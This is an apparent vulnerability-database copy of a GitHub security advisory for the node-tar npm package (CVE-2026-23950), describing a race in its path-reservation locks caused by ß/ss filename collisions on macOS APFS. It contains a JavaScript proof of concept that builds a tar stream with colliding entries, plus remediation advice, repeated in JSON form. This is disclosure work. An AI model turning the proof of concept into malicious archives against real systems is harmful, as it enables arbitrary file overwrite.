GHSA-R6Q2-HW4H-H46W

Vulnerability from github – Published: 2026-01-21 01:05 – Updated: 2026-03-16 14:23
VLAI?
Summary
Race Condition in node-tar Path Reservations via Unicode Ligature Collisions on macOS APFS
Details

TITLE: Race Condition in node-tar Path Reservations via Unicode Sharp-S (ß) Collisions on macOS APFS

AUTHOR: Tomás Illuminati

Details

A race condition vulnerability exists in node-tar (v7.5.3) this is to an incomplete handling of Unicode path collisions in the path-reservations system. On case-insensitive or normalization-insensitive filesystems (such as macOS APFS, In which it has been tested), the library fails to lock colliding paths (e.g., ß and ss), allowing them to be processed in parallel. This bypasses the library's internal concurrency safeguards and permits Symlink Poisoning attacks via race conditions. The library uses a PathReservations system to ensure that metadata checks and file operations for the same path are serialized. This prevents race conditions where one entry might clobber another concurrently.

// node-tar/src/path-reservations.ts (Lines 53-62)
reserve(paths: string[], fn: Handler) {
    paths =
      isWindows ?
        ['win32 parallelization disabled']
      : paths.map(p => {
          return stripTrailingSlashes(
            join(normalizeUnicode(p)), // <- THE PROBLEM FOR MacOS FS
          ).toLowerCase()
        })

In MacOS the join(normalizeUnicode(p)), FS confuses ß with ss, but this code does not. For example:

bash-3.2$ printf "CONTENT_SS\n" > collision_test_ss
bash-3.2$ ls
collision_test_ss
bash-3.2$ printf "CONTENT_ESSZETT\n" > collision_test_ß
bash-3.2$ ls -la
total 8
drwxr-xr-x   3 testuser  staff    96 Jan 19 01:25 .
drwxr-x---+ 82 testuser  staff  2624 Jan 19 01:25 ..
-rw-r--r--   1 testuser  staff    16 Jan 19 01:26 collision_test_ss
bash-3.2$

PoC

const tar = require('tar');
const fs = require('fs');
const path = require('path');
const { PassThrough } = require('stream');

const exploitDir = path.resolve('race_exploit_dir');
if (fs.existsSync(exploitDir)) fs.rmSync(exploitDir, { recursive: true, force: true });
fs.mkdirSync(exploitDir);

console.log('[*] Testing...');
console.log(`[*] Extraction target: ${exploitDir}`);

// Construct stream
const stream = new PassThrough();

const contentA = 'A'.repeat(1000);
const contentB = 'B'.repeat(1000);

// Key 1: "f_ss"
const header1 = new tar.Header({
    path: 'collision_ss',
    mode: 0o644,
    size: contentA.length,
});
header1.encode();

// Key 2: "f_ß"
const header2 = new tar.Header({
    path: 'collision_ß',
    mode: 0o644,
    size: contentB.length,
});
header2.encode();

// Write to stream
stream.write(header1.block);
stream.write(contentA);
stream.write(Buffer.alloc(512 - (contentA.length % 512))); // Padding

stream.write(header2.block);
stream.write(contentB);
stream.write(Buffer.alloc(512 - (contentB.length % 512))); // Padding

// End
stream.write(Buffer.alloc(1024));
stream.end();

// Extract
const extract = new tar.Unpack({
    cwd: exploitDir,
    // Ensure jobs is high enough to allow parallel processing if locks fail
    jobs: 8 
});

stream.pipe(extract);

extract.on('end', () => {
    console.log('[*] Extraction complete');

    // Check what exists
    const files = fs.readdirSync(exploitDir);
    console.log('[*] Files in exploit dir:', files);
    files.forEach(f => {
        const p = path.join(exploitDir, f);
        const stat = fs.statSync(p);
        const content = fs.readFileSync(p, 'utf8');
        console.log(`File: ${f}, Inode: ${stat.ino}, Content: ${content.substring(0, 10)}... (Length: ${content.length})`);
    });

    if (files.length === 1 || (files.length === 2 && fs.statSync(path.join(exploitDir, files[0])).ino === fs.statSync(path.join(exploitDir, files[1])).ino)) {
        console.log('\[*] GOOD');
    } else {
        console.log('[-] No collision');
    }
});

Impact

This is a Race Condition which enables Arbitrary File Overwrite. This vulnerability affects users and systems using node-tar on macOS (APFS/HFS+). Because of using NFD Unicode normalization (in which ß and ss are different), conflicting paths do not have their order properly preserved under filesystems that ignore Unicode normalization (e.g., APFS (in which ß causes an inode collision with ss)). This enables an attacker to circumvent internal parallelization locks (PathReservations) using conflicting filenames within a malicious tar archive.

Remediation

Update path-reservations.js to use a normalization form that matches the target filesystem's behavior (e.g., NFKD), followed by first toLocaleLowerCase('en') and then toLocaleUpperCase('en').

Users who cannot upgrade promptly, and who are programmatically using node-tar to extract arbitrary tarball data should filter out all SymbolicLink entries (as npm does) to defend against arbitrary file writes via this file system entry name collision issue.

Severity ?
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 7.5.3"
      },
      "package": {
        "ecosystem": "npm",
        "name": "tar"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "7.5.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-23950"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-176",
      "CWE-367"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-21T01:05:49Z",
    "nvd_published_at": "2026-01-20T01:15:57Z",
    "severity": "HIGH"
  },
  "details": "**TITLE**: Race Condition in node-tar Path Reservations via Unicode Sharp-S (\u00df) Collisions on macOS APFS\n\n**AUTHOR**: Tom\u00e1s Illuminati\n\n### Details\n\nA race condition vulnerability exists in `node-tar` (v7.5.3) this is to an incomplete handling of Unicode path collisions in the `path-reservations` system. On case-insensitive or normalization-insensitive filesystems (such as macOS APFS, In which it has been tested), the library fails to lock colliding paths (e.g., `\u00df` and `ss`), allowing them to be processed in parallel. This bypasses the library\u0027s internal concurrency safeguards and permits Symlink Poisoning attacks via race conditions. The library uses a `PathReservations` system to ensure that metadata checks and file operations for the same path are serialized. This prevents race conditions where one entry might clobber another concurrently.\n\n```typescript\n// node-tar/src/path-reservations.ts (Lines 53-62)\nreserve(paths: string[], fn: Handler) {\n    paths =\n      isWindows ?\n        [\u0027win32 parallelization disabled\u0027]\n      : paths.map(p =\u003e {\n          return stripTrailingSlashes(\n            join(normalizeUnicode(p)), // \u003c- THE PROBLEM FOR MacOS FS\n          ).toLowerCase()\n        })\n\n```\n\nIn MacOS the ```join(normalizeUnicode(p)), ``` FS confuses \u00df with ss, but this code does not. For example:\n\n``````bash\nbash-3.2$ printf \"CONTENT_SS\\n\" \u003e collision_test_ss\nbash-3.2$ ls\ncollision_test_ss\nbash-3.2$ printf \"CONTENT_ESSZETT\\n\" \u003e collision_test_\u00df\nbash-3.2$ ls -la\ntotal 8\ndrwxr-xr-x   3 testuser  staff    96 Jan 19 01:25 .\ndrwxr-x---+ 82 testuser  staff  2624 Jan 19 01:25 ..\n-rw-r--r--   1 testuser  staff    16 Jan 19 01:26 collision_test_ss\nbash-3.2$ \n``````\n\n---\n\n### PoC\n\n``````javascript\nconst tar = require(\u0027tar\u0027);\nconst fs = require(\u0027fs\u0027);\nconst path = require(\u0027path\u0027);\nconst { PassThrough } = require(\u0027stream\u0027);\n\nconst exploitDir = path.resolve(\u0027race_exploit_dir\u0027);\nif (fs.existsSync(exploitDir)) fs.rmSync(exploitDir, { recursive: true, force: true });\nfs.mkdirSync(exploitDir);\n\nconsole.log(\u0027[*] Testing...\u0027);\nconsole.log(`[*] Extraction target: ${exploitDir}`);\n\n// Construct stream\nconst stream = new PassThrough();\n\nconst contentA = \u0027A\u0027.repeat(1000);\nconst contentB = \u0027B\u0027.repeat(1000);\n\n// Key 1: \"f_ss\"\nconst header1 = new tar.Header({\n    path: \u0027collision_ss\u0027,\n    mode: 0o644,\n    size: contentA.length,\n});\nheader1.encode();\n\n// Key 2: \"f_\u00df\"\nconst header2 = new tar.Header({\n    path: \u0027collision_\u00df\u0027,\n    mode: 0o644,\n    size: contentB.length,\n});\nheader2.encode();\n\n// Write to stream\nstream.write(header1.block);\nstream.write(contentA);\nstream.write(Buffer.alloc(512 - (contentA.length % 512))); // Padding\n\nstream.write(header2.block);\nstream.write(contentB);\nstream.write(Buffer.alloc(512 - (contentB.length % 512))); // Padding\n\n// End\nstream.write(Buffer.alloc(1024));\nstream.end();\n\n// Extract\nconst extract = new tar.Unpack({\n    cwd: exploitDir,\n    // Ensure jobs is high enough to allow parallel processing if locks fail\n    jobs: 8 \n});\n\nstream.pipe(extract);\n\nextract.on(\u0027end\u0027, () =\u003e {\n    console.log(\u0027[*] Extraction complete\u0027);\n\n    // Check what exists\n    const files = fs.readdirSync(exploitDir);\n    console.log(\u0027[*] Files in exploit dir:\u0027, files);\n    files.forEach(f =\u003e {\n        const p = path.join(exploitDir, f);\n        const stat = fs.statSync(p);\n        const content = fs.readFileSync(p, \u0027utf8\u0027);\n        console.log(`File: ${f}, Inode: ${stat.ino}, Content: ${content.substring(0, 10)}... (Length: ${content.length})`);\n    });\n\n    if (files.length === 1 || (files.length === 2 \u0026\u0026 fs.statSync(path.join(exploitDir, files[0])).ino === fs.statSync(path.join(exploitDir, files[1])).ino)) {\n        console.log(\u0027\\[*] GOOD\u0027);\n    } else {\n        console.log(\u0027[-] No collision\u0027);\n    }\n});\n\n``````\n\n---\n\n### Impact\nThis is a **Race Condition** which enables **Arbitrary File Overwrite**. This vulnerability affects users and systems using **node-tar on macOS (APFS/HFS+)**. Because of using `NFD` Unicode normalization (in which `\u00df` and `ss` are different), conflicting paths do not have their order properly preserved under filesystems that ignore Unicode normalization (e.g., APFS (in which `\u00df` causes an inode collision with `ss`)). This enables an attacker to circumvent internal parallelization locks (`PathReservations`) using conflicting filenames within a malicious tar archive.\n\n---\n\n### Remediation\n\nUpdate `path-reservations.js` to use a normalization form that matches the target filesystem\u0027s behavior (e.g., `NFKD`), followed by first `toLocaleLowerCase(\u0027en\u0027)` and then `toLocaleUpperCase(\u0027en\u0027)`.\n\nUsers who cannot upgrade promptly, and who are programmatically using `node-tar` to extract arbitrary tarball data should filter out all `SymbolicLink` entries (as npm does) to defend against arbitrary file writes via this file system entry name collision issue.\n\n---",
  "id": "GHSA-r6q2-hw4h-h46w",
  "modified": "2026-03-16T14:23:26Z",
  "published": "2026-01-21T01:05:49Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-r6q2-hw4h-h46w"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23950"
    },
    {
      "type": "WEB",
      "url": "https://github.com/isaacs/node-tar/commit/3b1abfae650056edfabcbe0a0df5954d390521e6"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/isaacs/node-tar"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Race Condition in node-tar Path Reservations via Unicode Ligature Collisions on macOS APFS"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.




Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



Detection rules are retrieved from Rulezet.